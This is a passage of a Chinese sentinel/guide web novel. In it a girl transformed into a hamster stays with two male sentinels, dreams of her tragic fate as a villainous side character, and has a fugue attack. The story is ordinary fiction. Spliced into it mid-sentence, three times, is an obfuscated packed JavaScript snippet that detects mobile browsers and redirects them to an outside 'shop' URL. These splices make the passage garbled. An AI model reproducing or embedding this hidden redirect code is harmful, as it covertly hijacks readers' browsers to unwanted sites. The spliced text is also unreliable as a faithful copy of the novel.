嗯嗯嗯，口感不错，嚼嚼嚼！ 明绪盯着小鼠吃东西的样子，眸底浮现出温柔的笑意。 接着，不知道想到了什么，明绪转身从厨房弄来一个干净的盘子。 他把饼干弄得碎碎的，放在盘子上，满满的一盘，摆放在聆汐面前。 担心饼干吃多了小鼠会口干，明绪又熟练地用风系异能变幻出一把水果刀，拿起桌上的那个苹果，看准角度、开始削皮。 削皮、去核，切成细细小小的方块，确保方块的大小能让小仓鼠一口一个。 明绪表情专注、气质温和，额前垂落的一缕碎发，让他看起来人夫感十足。 聆汐一边啃着饼干，一边看着明绪削苹果。 不得不说，这人的手指很好看，修长白皙，特别是削苹果、切苹果块的动作，稳定而精准，一看就是熟练工。 比起慕野那个坏脾气的三脚猫，这个会给仓鼠掰饼干、切苹果块的男孩子，看起来就顺眼太多了！ 等她拟态结束、恢复过来，要不想个办法，把这人挖过来给她当队友吧？ 聆汐这么想着，再看明绪的脸，真是怎么看怎么顺眼。 明绪不知道聆汐所想，把切好的苹果细心摆盘后，轻轻推到聆汐面前：“这些也都给你吃。” 聆汐刚好也渴了，跑过去拿起一块苹果，啃啃啃。 吃东西的小仓鼠脸颊鼓鼓、乖乖巧巧，可爱到不行。 明绪没抵抗住诱惑，情不自禁伸出一根手指，轻轻点了点她的脑袋。 聆汐本能地缩了一下，但明绪显然不是第一次撸鼠了，力度适中、动作温柔，和专业撸鼠的棺棺很有一拼。 聆汐被撸得很舒服，渐渐放下了戒心。 任由明绪撸鼠背的聆汐，一块饼干配一口苹果，吃得津津有味，满足地眯起了眼睛。 见状，明绪轻笑出声，忍不住开启夸夸模式：“小仓鼠，你真的好可爱！” “对了，你到底是从哪里来的呢？这里是末世考场，理论上，应该是不会有考生带宠物进来……” 明绪的话音刚落，浴室那边的水声也跟着停了。 下一秒，于是的门被拉开，新换了一套灰色睡衣的慕野冷着脸走了出来。 他一边拿毛巾擦着湿漉漉的短发，一边状似不经意地四下环顾。 金色的双眸在看到正就着明绪的掌心愉快吃苹果块的黑白小毛团时，瞬间一凝。 宿舍里的气温，仿佛在顷刻间骤降到了冰点。 明绪和聆汐不约而同地打了个寒颤，差点以为极寒要来了。 好在，明绪很快察觉到了什么，似有所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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聆汐眼神清澈地回望着明绪，可怜无辜又弱小。 阿巴阿巴，你在说什么？什么拟态异能？鼠鼠不懂，鼠鼠不知道呢！ “嗤！”熟知某人窝里横脾性的慕野忍不住从鼻孔哼出气。 “慕野？”明绪询问地看向慕野，试探道：“你觉得这只仓鼠是真的小动物，还是……” 聆汐的心脏被提到了嗓子眼。 她跟着看向慕野的方向，瞪着豆豆眼，努力想让对方看清她的意思—— 别别别！千万别把她的情况暴露出来！ 慕野的视线在聆汐萌哒哒的小眼睛上停留了几秒，心底的情绪五味杂陈。 她也就是在需要用上他的时候，才会对他有好脸色了。 “……嗯，是真的小动物。”慕野移开目光，无意识地搓了搓手指：“我没感知到她身上有精神力波动，应该不是异能者拟态的。” “大概率就是哪位考生偷偷带进来的小宠物……看她这个体型，带她进来的主人估计和我们同在一栋宿舍楼，今晚就先让它待在这儿吧，等明天一早，我找负责这栋楼的楼长打听打听情况。” 明绪深深地看了慕野一眼，忍着笑，点点头，顺着他道：“也好，万一今晚有异种入侵，放任它小小一只到处乱跑，确实太危险了。” 话说着，明绪捧着手里软绵绵的小团子，小心地拿指腹又给她做了一次全背按摩，眉眼弯弯地哄她道：“那今晚就住在我们宿舍吧，小家伙？” 聆汐甜甜地吱吱两声，主动拿脑袋蹭了蹭明绪的手指。 这人削苹果技术不错，是她看好的未来队友，在把人骗……不是，是纳入队里前，还是要给点好脸色哄哄的。 见状，慕野的脸色再次阴沉下来，面无表情地转身来到自己的床位。 他从桌子底下拖出一个箱子，蹲下身，开始逐一清点今天收获到的武器。 很明显，他今晚的情绪不太对劲，乒乒乓乓的，动作间，充满了压抑的怒火。 明绪小心翼翼地偷瞟着慕野的方向，又盯着手心里的小仓鼠，眸光微闪，若有所思。 8. 第008章 明绪的父亲并不是异能者，而是一名普通的平民木匠。 明绪还未觉醒成哨兵之前，他一直跟在自己父亲身边学木工，所以他的动手能力很强。 宿舍里多了只小仓鼠留宿后，明绪就地取材，直接为小鼠造了一个迷你小木屋。 木屋里放着用加绒卫衣改良的小垫子，周围还铺着厚厚的棉花。 聆汐上蹿下跳折腾了大半天，如今吃饱喝足，早就累得直犯困，还没熬到夜深人静、等小机器人棺棺接应，她在明绪为她造好鼠窝后，二话不说地钻了进去，直接沾枕就睡。 是夜，宿舍里一片伸手不见五指的黑暗。 慕野到底还是没能控制住自己，十分钟前，他悄悄地把小木屋里睡得正熟的小仓鼠弄回了自己的单人床上。 侧身看着在枕头上睡得四仰八叉的小东西，慕野忍不住伸出一根手指，虚虚地戳了戳她的脑袋，无声道：“没良心的小东西！” “慕野，你睡了吗？”感知到精神力波动的明绪缓缓睁开眼，试探性地开口问道。 短暂的沉默。 “没。”慕野的声音在黑暗中淡淡地响起。 “那个……”明绪犹豫了很久，还是决定鼓起勇气，趁着四下无人，弱弱地和慕野强调道：“……我是异性恋，只喜欢女孩子。” “如果有机会的话，未来，我想找一个治愈系的女性向导领证结合……” “……哨兵和哨兵之间，很多时候，是没有未来的。” 尴尬，足以抠出一座城堡的尴尬，在空气里蔓延。 被黑夜笼罩的宿舍，死一样的寂静。 慕野忍不住深吸了口气，控制住自己的脾气，尽量心平气和道：“……我知道。” “真的吗？”闻言，明绪稍稍松了口气：“那就好.、那就好……” 不然，他都不知道要怎么和慕野继续相处了。 毫无疑问，慕野是个很强大的哨兵，也是一位优秀的队长，明绪和他组队以来，受过他许多帮助。 要不是……要不是感情的事勉强不来，他从小接受的教育让他无法心安理得地享受别人的付出，他也不会在察觉到慕野不对劲时，辗转反侧到现在。 还好还好，看来是他自作多情、虚惊一场。 “慕哥……那个，我没有别的意思，我就是、就是想早点摆明自己的态度……” “我是直男，坚持异性恋、推崇哨向结合的大直男，如果……如果我之前做了什么让你误会的事，让你觉得……我在这里和你郑重道歉！” “什么误会的事？”慕野越听越糊涂，明显开始困惑：“你支支吾吾一大堆，到底想说什么？” “我想说、说，那个，我对你只是纯粹的战友、兄弟情，除此之外，再不可能有别的！” 明绪自己都有些说不下去，脸在黑暗中涨得通红： “只是，我这个人有时候神经比较大条，和关系好的兄弟们相处，时间久了，没什么边界感，我怕你误会，误会我……误会我是那个……也担心自己在不经意间，是不是给了你一些错误信号，让你以为我那……” “算了算了，其实也没什么，你知道我喜欢女孩子就好，你就当我在梦游，在胡言乱语，不用放在心上。” 慕野：…… 慕野这下总算听明白了，也猜到是不久前他刻意对小仓鼠说的那句话让碰巧撞上来的明绪产生了误会，耐着性子，一字一句，从牙齿缝里挤出话道：“你放心，我也是异性恋，我喜欢的人，也是女孩子。” “啊？哦，是吗？”听出慕野情绪不对，意识到自己恐怕真误会了的明绪在尴尬之余，忍不住长长松了口气，他轻拍着自己的胸口、一脸劫后余生地庆幸道：“那就好那就好！喜欢女孩子就好……” 这样他们就能继续组队了！ 慕野：…… 慕野无视了在他精神图景里幸灾乐祸的狮虎兽，无语地按了按自己的太阳穴。 明白自己刚干了件蠢事的明绪，默默地举高毯子盖住脸，很想假装自己刚刚真的在梦游。 再次陷入死寂的宿舍，只余深眠中的小仓鼠，轻轻发出的细微鼾声。 “……你刚刚说哨兵和哨兵之间是没有未来的，为什么？” 不知过了多久，就在明绪努力数绵羊想要哄睡自己时，他听到慕野幽幽地问了他这么一句话。 明绪也没多想，低声道：“你忘了么？那是白塔前几年前修订的一条规定。” “哨兵虽然五感超群、战斗力极强，可也最容易陷入‘神游症’，需要定期接受向导的精神疏导。” “只有向导能安抚哨兵，净化哨兵的脑域污染，在战场上，保护哨兵的精神图景，不让哨兵被污染，陷入畸变狂化。” “而且，有高基因匹配度的哨向之间，是存在灵魂共鸣的，是命中注定的一对。” “污染存在一天，哨兵就无法抗拒能为他做安抚的向导，等级越高的哨兵，对向导渴求的情绪就会越强烈，这是刻在基因里的本能，不是光靠意志就能打破的。” “没有向导的哨兵，就像是没有鞘的剑，哨兵和哨兵在一起，就好像两把剑在互砍，时间一长，只会两败俱伤。” 过去并不是没有哨兵和哨兵结合的先例，可已知的每一个例子，都是已悲剧收场，截至目前，从无例外。 慕野没有说话，但明绪还是能感受到从他身上传来的低落。 “命中注定是吗？”慕野嘲弄地笑笑，目光落在身旁呼呼大睡的小仓鼠身上时，无意识地泛柔：“……我不信命。” 也不认命。 明绪听出了他话里的意思，想劝什么，却发现自己什么都劝不了。 如人饮水，冷暖自知。 明绪不再说话，慕野也没再开口。 而呼呼大睡的聆汐，不知道是不是被慕野压抑的负面情绪感染，无意识地皱起眉，被拉进了一个奇怪的噩梦里…… - 聆汐的神游症又犯了。 她在深层意识海里浮浮沉沉，在某个瞬间，被灌输了一段莫名其妙的记忆—— 她自己所在的世界，原来是一个以她外甥女呐呐为女主的小说世界，而她…… 她居然只是这本哨向文里的极品女配？ 女配是黑化女主的恋爱脑小姨，小说里虎母犬女的典型，贪生怕死的恶毒小炮灰一枚！ 这、这怎么可能呢？！ 聆汐被动地吸收着那些凌乱的记忆，一幕一幕陌生的回忆碎片从她眼前走马灯似地掠过—— 【“莱奥斯……” “啊，是聆汐大小姐。”全息通讯里，金发男人的声音依旧像海妖般惑人，苏苏的、撩撩的，是她曾经最迷恋的声线：“真没想到，我们会以这样的方式见面，怎么样，您……还好吗？” “为什么？” “什么为什么？”莱奥斯像是听到了什么可笑的问题：“聆汐，你是星盗团的大小姐，而我是来自中央白塔的向导……” “你的母亲在二十多年前，从白塔盗走了一批基因原液……而你出生的D09星，全民皆盗，所以……还需要问为什么吗？” “可是，你明明说过，你恨白塔，你是被白塔圈进的，你说向导不该被当成宠物豢养，你说D09星是你向往的自由……” “是啊，我是说过那些话。”莱奥斯轻柔地打断她：“没想到，你居然真的信了……哈哈哈，真可爱！” 有人噗嗤一声笑了出来。 模糊不清的脸，凹凸有致的身段，隐约可以看出是一个女人，她凭空出现在金发男人身边，亲密地圈住他的脖子，示威似地看向聆汐： “莱奥斯指挥，您就别逗我们的大小姐了嘛～” “刚发现真相，她现在一定很伤心……” “伤心？”莱奥斯语气亲昵：“小傻瓜，穷凶极恶的星盗哪有心，就算有……也都是漆黑的……” “可您这半年来，不是把她哄得很开心吗？线上为你的直播间打榜，线下可是连D09基地最大的秘密都告诉您了……” “那是因为……”莱奥斯笑容恶劣：“她被我精神标记了，无论我问什么、要她做什么，她都不可能拒绝……”】 什么呀！该死的莱奥斯！你给我等着！ 聆汐在一旁气得眼都红了。 等她醒来……等她醒来！她一定要狠狠报复回去！ 【“聆汐”的精神世界里，仿佛只剩下莱奥斯的那些话。 曾经在她做噩梦时会温柔哼唱催眠曲哄她入睡的声音，此时此刻，竟被噪音更刺耳。 莱奥斯居高临下地看着她，笑容轻蔑、语气严肃： “聆汐，请不要再做无谓的抵抗了，你的父亲已经被捕，你的两个哥哥也自爆了晶核，如果不想让D09星化为宇宙黑洞，那么就赶紧投降。” “只要你带着剩下的这些人投降，接受白塔审判，我可以为你申请——” “为我申请什么？精神控制？终身监禁？把我像一条狗一样，关在暗无天日的监狱里？！” 莱奥斯沉默。 再 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“那也够了。”她歪了歪头，染血的脸上满是娇憨：“在我彻底畸变前，我带着你一起走，好不好？” 莱奥斯的脸上，终于出现了害怕的神情。 他一步步后退，撞到操作台边缘：“聆汐，你听我说，我可以解释……” “你还记得吗？” 聆汐一步一步靠近他，最终停在离他一步之遥的地方看着他，语气温柔道：“你说过，你要永远和我在一起，以后的每个晚上，都要唱催眠曲给我听……” “你会穿着我想让你穿的衣服，跳我想让你跳的舞……” 精神标记再次失败的莱奥斯，面色惨白，嘴唇在颤抖。 “我说我不信。”聆汐笑了起来，笑着笑着，流下了一行血泪：“可是你说，时间会证明一切，你让我相信你……” 她伸出手，指尖几乎要碰到他的脸： “我真的一直都在相信你啊，莱奥斯。” 下一秒，那只手扼住了他的喉咙，将他整个人提离地面。 “所以现在……”聆汐凑近，在他耳边轻声道：“你也履行承诺，永远和我在一起，好吗？” 咔嚓。 扭断别人脖子的声音听起来，原来是那么清脆悦耳。 莱奥斯的眼睛瞪得极大，里面最后倒映出的，是聆汐彻底畸变的脸。 她松开手，尸体软软滑落。 然后她转身，似有所感地看向指挥室的门口。 一个穿着白袍的少女不知何时站在那里，手中握着一把枪。 女孩有一双和聆汐相似的眼睛，只是颜色是淡淡的金。 金色，聆汐曾经最爱的颜色。 “呐呐？”聆汐虫类的复眼微微收缩。 呐呐，她的外甥女，她以前最讨厌的那个姐姐，在临死前，非要逼她去养大的臭小孩！ “小姨……”呐呐的声音在颤抖。 聆汐愣愣地看着她，许久，她低低地笑了起来。 “呐呐，你来了？真好……来，开枪，杀了我……”她声音嘶哑，一字一顿，认真道：“趁我……现在还有人类的理智……” 呐呐拼命摇着头，眼泪汹涌而出。 紧接着，她还是举起了枪，在身后几个男人的精神控制下，把枪口对准了聆汐的眉心—— “小姨……”呐呐哭着说：“你答应过我，你会成为最强大的黑暗哨兵……你答应过我的……” “不要开枪！我不要开枪！” “混蛋！不准控制我！不准控制我小姨！不要不要不要……” “会有办法的，给我时间，会有办法的！我会想到办法治愈狂化畸变的……” “不！小姨……” 聆汐努力扯出一抹笑，这是她第一次真心觉得，这个臭小孩好像还挺可爱的。 嗯，这个外甥女，好像没有白养…… 比那些白眼狼狗男人好太多了！ 她最后看了一眼莱奥斯的尸体，回顾着自己好像笑话似的人生，缓缓闭上了眼睛…… “开枪，呐呐。” “做个……比小姨更厉害的人。” “别相信男人……特别是越好看的男人……” 有一头金发的……男人…… 砰—— 枪响了。 女配聆汐的一生，结束了。】 9. 第009章 闭眼数了许久的小虎鲸跳圈圈，慕野总算有了点睡意。 半梦半醒间，他感觉身后有什么凉凉的东西贴了上来，隔着一层薄薄的衣料…… 冷，好冷，好像浑身都浸泡在冰冷的深海中，浮浮沉沉、寒气蚀骨。 热，好热，感觉身体里每一处都冒起了火星，一点就燃、野火燎原。 聆汐皱着眉，时而冷得直哆嗦、时而热得狂冒汗，意识在不断破碎重组，让她难受得呜咽出声。 体内又一阵寒意爆发，出于求生的本能，她情不自禁地往身旁的热源处靠近，挑染着几缕白色的如墨黑发如海藻般铺散在枕上，与慕野粉色的发丝纠缠在一起。 极致的黑与白间染上了艳丽的粉，在暧昧的昏暗中，美得惑人。 黑夜里，女孩白皙的脸上浮起不正常的红晕，精神图景中的四方形水箱却是雾气蒸腾、海浪翻滚。 被困在其中的海洋霸主缓缓睁开眼，抓住机会，一下一下，再次冲击起四四方方的透明屏障。 聆汐被暴动的虎鲸整得头痛欲裂，四溢的精神力被分散成一股股溪流在她体内到处逃窜，上一秒极寒、下一秒滚烫，冷热交替、互不相容。 仿佛是有两股极端的力量正在以聆汐的身体为战场不断争斗，迟迟找不到发泄的出口。 聆汐难受得直哼哼，像是溺水的人抓住最后一根浮木般，本能地伸手扒拉离她最近的慕野。 赤裸的胳膊，滚烫的小手，不安分的十指钻进丝质睡衣里，从后往前、自下而上，拂过男人沟壑清晰的肌肉轮廓…… 什么情况？！ 黏在背后的身体，在他腹肌、胸肌上撩拨的指尖，吹在耳边的热气，强势占去他嗅觉的淡淡香味…… 一切的一切，都真实得不太像是梦境。 不对！不是梦！ 被摸出火气的慕野直觉地出手按住正在他胸前不停作乱的手。 行动受阻的聆汐皱了皱鼻子，不满地用力一捏…… 慕野闷哼一声，猛地睁开眼，这下，是彻底清醒了。 大脑还未下达指令，身体已经先一步有了动作，他第一时间反守为攻，利落地一个翻身，直接把趴在他背上的人压制在身下。 凌晨两点，黎明未至，黑雾正浓。 未拉起窗帘的落地窗外，唯有零星几盏老旧的路灯在释放着黯淡的光芒。 那一点微弱的光线，配合S级哨兵的五感，足以让慕野完全看清楚宿舍内的情况。 狭小的单人床上，此刻被他控制住的并不是什么入侵的变异异种，也不是比他等级更高的陌生哨兵—— 是聆汐，莫名其妙又变回人形的聆汐！ 此刻，她紧紧闭着眼，长而卷的睫毛自然翘起，红扑扑的粉嫩脸颊，微微嘟起的饱满唇珠以及莹白如玉的…… 该死！她居然什么都没穿？！ 慕野的眼睛像被溅起的火星烫到了，匆匆移开。 然而…… 惊鸿一瞥，一眼万年。 后知后觉反应过来现在是什么情况的慕野脸一下子涨得通红，偏偏，毫无所觉的某人还在他身下不停扭动挣扎—— 似是感受到了近在咫尺的热源，聆汐不由自主地想要凑过去继续贴贴，柔软的唇扫过慕野的脸颊，温热的呼吸喷在他的锁骨…… 慕野狼狈地避让着她不断靠近的脑袋，努力忽略刚刚闯进他脑海中的那抹惊心动魄的白，他心不在焉地抓过一旁的薄毯薄被，紧绷着脸，面无表情地把眼前这位磨人的小祖宗三层外三层地裹了个严严实实。 “热……”聆汐满头是汗，不舒服地在“蚕蛹”里拼命挣扎：“难受……好难受……” 同样浑身冒汗的慕野只觉一阵口干舌燥，语气压抑又克制：“乖，忍一忍，别动！” “不要……难受……放开……” “聆汐，听话！清醒一点！” “……你是谁？你在命令我做事？你凭什么凶我？！” 反抗无果的聆汐情绪愈发暴躁，本能地张开嘴，嗷呜一口咬在了慕野的锁骨上。 “唔~”慕野闷哼，轰地一声，大脑瞬间被炸得一片空白，连带着他用精神力制造出的域也出现了些许裂痕。 慕野的精神图景中，一望无际的广袤森林里，原本正趴在树上小憩的狮虎兽似有所感地张开眼…… 现实中—— “……什么声音？慕野？你怎么了？”睡得迷迷糊糊的明绪被慕野那边不慎外泄的动静吵醒了。 顶着一头乱糟糟的红发，青年从被子里探出手，下意识地摸索墙壁上的开关，想把宿舍里的灯打开。 “等等！别开灯！”慕野开口喝止，声音沙哑到有些破碎。 明绪好似触电般地慌忙缩回自己的手，原有的睡意也被驱散了一大半：“慕、慕哥？” 怎、怎么回事？慕哥这声音听起来怎么那么像…… “……难受！我好难受！向导！我要向导！”只有一个脑袋露在外面的聆汐被慕野牢牢地禁锢在怀里，挣扎了半天都没挣开困住她的被子，这令她难受又委屈，开口的语气里都忍不住带上了一点哭腔： “我脑袋要爆炸了！头好疼……我要回家……我要回家……” 聆汐活到现在，从没受过这样的折磨，身体忽冷忽热、精神崩溃重组—— 即便是她刚觉醒成哨兵、精神力时刻都在暴动的那两天，她也不曾像此刻这样狼狈过。 聆汐脑域传来阵阵刺痛，忍不住开始拿脑袋撞另一边的墙，她的精神图景里，黑白配色的虎鲸也在不停地拿头撞击四周的屏障，渐渐地，透明的玻璃竟真的出现了蛛网般的裂纹。 聆汐感觉自己的灵魂都要被撕裂了，痛得呜了一声，委屈到不行。 这声音…… 明绪摸了摸发烫的耳朵，迅速从床上坐起身，望着斜对面属于慕野的床铺，小心地试探道： “什、什么情况？慕野？这声音……是隔壁的那位聆队长吗？” 慕野敷衍地嗯了一声，察觉聆汐有自伤倾向，及时伸手护住她的头。 咚—— 聆汐还在把脑袋往墙上撞，小牛犊子似地，一下比一下重，差点将慕野的手掌撞骨折，而她不断外溢的失控精神力，也在不知不觉间，将慕野之前为隔绝噪音污染而竖起的那层精神域冲击得摇摇欲坠、形同虚设。 明绪这时已经能感知到从慕野床铺那儿传来的异常精神波动和那些来自聆汐的负面情绪，不觉面露忧色，虽说他心里还藏着很多疑问，可他识趣地没有再继续开口。 慕野没空理会明绪，他所有的注意力都在面前的聆汐身上。 “聆汐，醒过来！能听到我说话吗？”他一边释放精神力，一边试着用声音唤醒聆汐的神志。 深陷“哨向文里的极品女配”人生里的聆汐似乎已听不进任何外界的声音，就算迷迷糊糊地睁开眼，她无光的双眸中也不见任何焦距，整个人恍恍惚惚、浑浑噩噩，仿佛与慕野处在两个不同的空间维度： “催眠曲……好听……” 见状，慕野表情一凝，同为哨兵，他很清楚聆汐目前这个情况是神游症又发作了。 处于深度神游状态的哨兵，会对外界失去一切感知，如果没有向导的精神力介入引导，他们可能会永远陷在自己的精神图景中再出不来。 撞墙撞累了，聆汐哼哼唧唧地开启胡言乱语模式： “打榜……喜欢……关注……” “腹肌……看看……摸摸……” “金发……好看……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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聆汐是F级哨兵，精神屏障薄弱，一旦进入神游状态，会比高等级哨兵更容易误入灵魂黑洞，需要尽快找向导介入安抚，把她从深度神游中唤醒过来。 “……等棺棺给她注射完向导素，听听她自己的意思。” - 棺棺的棺材板里还剩一支向导素，小机器人给聆汐换了一身干净的衣服后，又熟练地把最后一支向导素打进她体内。 只是，聆汐这一次的神游症发作突然又来势汹汹，一支向导素下去，她虽然暂时恢复了一丝清醒，可认知和意识都出现了混乱，就连身体和精神上的不适感也没有减轻太多。 “……我不要，我不要离开……” “我要证明自己……才不是……虎母犬女……” “我睡一觉，睡一觉醒来就好了……” “不离开，不要离开考场……不许按求救键……” 宿舍里，浑身无力的聆汐靠在等人高的大棺棺身上。 她坐在慕野的书桌前，桌上的充电台灯亮起，暖色的光芒打在她精致小巧的脸上，衬得她的肌肤洁白如瓷、温润如玉。 微卷的长发凌乱地散在身后，颊边两侧还有几缕汗湿的黑发垂落，不正常的红晕、雾蒙蒙的双眼，柔和了她平时骄纵的气质，添上了几分诱人不自知的魅惑。 “你现在需要去静音室找一位治愈系向导做安抚，这里是‘末世’，空气里全是污染，继续留在这里，对你没有任何好处。” 慕野看了她一眼后，赶紧垂眸移开目光，尽量心平气和的劝她： “明天又要开始下黑雨，黑雨过后，异种再次进化、毒潮也会来袭，‘生存’只会越来越艰难。” “棺棺带来的向导素已经都用完了，可是，你的精神阈值还没有稳定，脑域污染也有些严重，精神屏障也有了破损的迹象，继续留在这里，不是什么明智选择。” 10. 第010章 认知混乱、记忆错乱、情绪失控……都是非常明显的精神图景被污染、精神屏障破损的信号。 偏偏，聆汐自己毫无所觉。 “你什么意思？！你看不起我？你嫌弃我？你觉得我是累赘、你想趁机摆脱我是不是？！”还处于自己是炮灰女配认知里的聆汐情绪异常暴躁。 在她获得的主线剧情中，外甥女呐呐是女主，从小和她掐到大、看她不顺眼的死对头慕野则是男主团之一。 因为暗恋她的外甥女呐呐，觉醒狮虎兽精神体的慕野对呐呐的恶毒小姨，也就是她，聆汐，非常看不顺眼。 主线里也有他们两人一起参加军校联考的剧情，实战考时，慕野碍于心上人呐呐的叮嘱不得不照顾女配聆汐这个累赘，有机会抓住机会、没有机会也要创造机会地想把“聆汐”这位未来的最强S级黑暗哨兵潜力股赶出考场…… 在慕野看来，从小欺负、压榨女主呐呐的女配聆汐是非常恶毒的存在，也是阻止他和呐呐哨向结合的最大绊脚石—— 当然，慕野的感知没有错，只要聆汐在一天，她就不会同意这只三脚猫老牛吃嫩草、叼走她家的小破孩呐呐！哼哼哼！ 恶毒？她就恶毒到底了，怎么着吧！ “我不走，不用求助键，我就要待在‘末世’考场上待到死！” “别以为我不知道，你巴不得我狂化畸变死在考场上，这样一来，你就少了最大的竞争对手，就能对……下手了！” “我才不会如你的意，我才是D09星的顶梁柱，未来最强的黑暗哨兵！” 慕野被她的胡言乱语气笑了：“最强的黑暗哨兵？你连自己的精神体都无法驱使，神游症的问题都无法解决，你要怎么成为最强哨兵？” 他对她到底怎么样，这么多年来，她心里真的一点感觉都没有吗？ 听听她说的这些都是什么话？什么叫他巴不得她狂化畸变死在考场上？这是人话么？ 为了她，他连自爆晶核的准备都做好了，他对她到底什么心思，她真的完全都没有感知？ 慕野不免开始反思自己，他以前究竟做过些什么，才会让她每次都要以最坏、最恶毒的方向去揣测他对她说的话？ 聆汐嘴硬：“我有我的办法，不要你管！” “为什么不要我管？你以为我想管你么？要不是……” “你以为我要你管吗！你有本事你别管啊！你当我很稀罕你么？” “我……” “你什么你？我们才离开D09星多久，你就对我横挑眉毛竖挑眼，明里暗里搞针对！你别以为我不知道，你一直都在记恨自己被改小了两岁，要陪我一起参加考试的事！” “在你心里，我就是你接近……垫脚石，所以只要找到机会，你就恨不得丢下我！” “别以为你是……我就会怕你、要看你脸色行事？做梦吧你！” “反正早死晚死都要死，巨龙般的大女人才不惧死亡！” “白老师说过，越强大越有潜力的哨兵就是在与天争命！” “如果我最终的宿命就是狂化畸变，那趁着现在异种还没进化，我还不如先一步变成畸变物去吞掉它们！也许未来我就是最强畸变王了！” 聆汐眼睛红红、鼻子红红，整个人沉浸在自己被主角团联手消灭的悲惨结局中无法自拔。 偏偏，她嚣张跋扈了十几年，忽然要她收敛爪牙、对所谓主角团伏低做小？ 不存在的！ 她才不要对慕野示弱！ 明明身体还很难受，脑袋疼得很想哭，可聆汐还是倔强地挺起腰背、凶巴巴地瞪着慕野，冲着他张牙舞爪，叽叽喳喳一顿输出： “我早就知道你不是什么好人，在D09星的时候，就你整天和我对着干，三天两天抢我任务、抢我异种，就连你觉醒的精神体也不是什么好东西，故意冲我龇牙咧嘴地吓唬我……” “等考试结束，我要侥幸没死没狂化，我一定要去和慕妈妈、慕叔叔狠狠告你一状！” “我还要去呐呐面前挑拨离间，把你对我做过的所有坏事都告诉她！让她睁大眼睛，以后找哨兵伴侣绝对不许找食肉的、粉头发的、金眼睛的丑东西！” 漂亮精致、偶尔撒起娇来比蛋糕还甜的女孩偏长了张气死人不偿命的嘴。 她小嘴叭叭叭地，跟淬了毒一样，越说越来劲，听得慕野额头有筋突突直跳。 只是—— 慕野抬起眼皮看了聆汐一眼，听着她跟奶猫炸毛似的声音，原本被挑起的怒意一下子全散了，对眼前这位祖宗实在是又爱又恨。 得！他上辈子对她作恶多端，这辈子注定来还债！ 棺棺在旁急出了满头大汗表情包，搜索着自己的词库，干巴巴地劝： “小姨、慕野……冷静！不要打了，你们不要打了啦！有话好好说，不要吵架呀！” 慕野：…… 慕野烦躁地抓了抓头发，实在是对聆汐毫无办法。 “慕哥……”明绪瞅瞅慕野，又看了看死活不愿退出考试的聆汐，想了想，他走到慕野身边，也跟着劝道： “既然聆队长不愿退出考试，那你就不要逼她了吧……” 闻言，聆汐向明绪投去欣赏一瞥，慕野面无表情地偏头送了一眼死亡凝视。 明绪腼腆地对聆汐回以温柔微笑，顶着慕野愈发冰冷的眼神，他硬着头皮继续道： “聆队长就算需要向导，也不一定要通过退出考场的方式……” “或许，我们可以带她去北部宿舍区那边？到时候用监测手环‘探一探’，应该能找到适合她的向导……吧？” - 天蒙蒙亮，明绪给还未回来的熊老三留了一张字条说明情况后，便跟着慕野他们出发前往北部宿舍区。 慕野小队的车还停在哨兵宿舍楼下，小机器人棺棺把半梦半醒的聆汐小心抱上了车后座。 慕野负责开车，明绪坐在副驾驶，一切准备就绪，慕野熟练地发动引擎。 “末世”的天空，经常是灰蒙蒙的，污染弥漫，空气里充满了难闻的腐臭味道。 慕野把车开得很稳，这个时间，通往基地哨塔的大路上除了巡逻队的人在执勤外，并没有其他人影。 基地防御罩失灵后，哨兵这边由一支全S级异能者小队牵头，把大家召集起来，以少数服从多数的投票方式，组建了一个临时巡逻队。 巡逻队的主要职责，是轮流守护哨塔、清理跑进基地的异种畸变物。 每支小队都需要出一名哨兵加入巡逻队轮值，昨晚正好轮到慕野小队的熊老三。 车后座，棺棺变成了手臂大小的小棺棺，安静地待在聆汐身侧，它的机械双臂则替代了安全带，把五感还未恢复的聆汐牢牢固定在座位上。 聆汐的意识依然有些混沌，许是向导素起了作用，她的精神力暂时平复了下来，虽然体内不再有忽冷忽热的两股力量在乱窜，精神图景里的虎鲸也再度沉入了水底，可她还是很难受，两边脸颊红晕未退，整个人蔫哒哒的，像失了水分的花，无精打采、气息奄奄。 她虽然还沉浸在自我编造的幻梦中，可对慕野的态度，倒不像几个小时前那样剑拔弩张了。 “慕野……我们真的要去找向导吗？可是向导……不是从不把哨兵当人看待么？” “中央星系这边的向导……好像多少都有点怪癖……” “白塔为了保护向导，要求找向导做安抚的哨兵必须佩戴颈环、手环、止咬器什么的……” “我见过那些找向导做安抚的哨兵……每个都像狗一样被拴起来，没有尊严、没有人权……” “有些有乱七八糟X癖的向导，还会对哨兵提出很过分的要求……” “我不要……我不想去找向导了……” “我想回家……回D09星……” “我要D09星的向导给我做安抚……我不要去找中央 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167043|196766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星系的向导……” “臭慕野，三脚猫……你怎么不说话？哑巴了？” 聆汐自顾自说了半天没得到回应，忍不住抬脚踹了踹前面的驾驶座。 慕野不知道该怎么回她的话，毕竟他不是向导，也没找向导做过安抚，不是很清楚向导的安抚流程，只好询问地看向副驾的明绪。 明绪似乎也是第一次听说这样的安抚方式，忍不住回头问聆汐： “你怎么知道中央星系的向导是那样安抚哨兵的？” 聆汐骄傲地挺了挺胸膛：“星网上，很多小说……都是这么写的！” 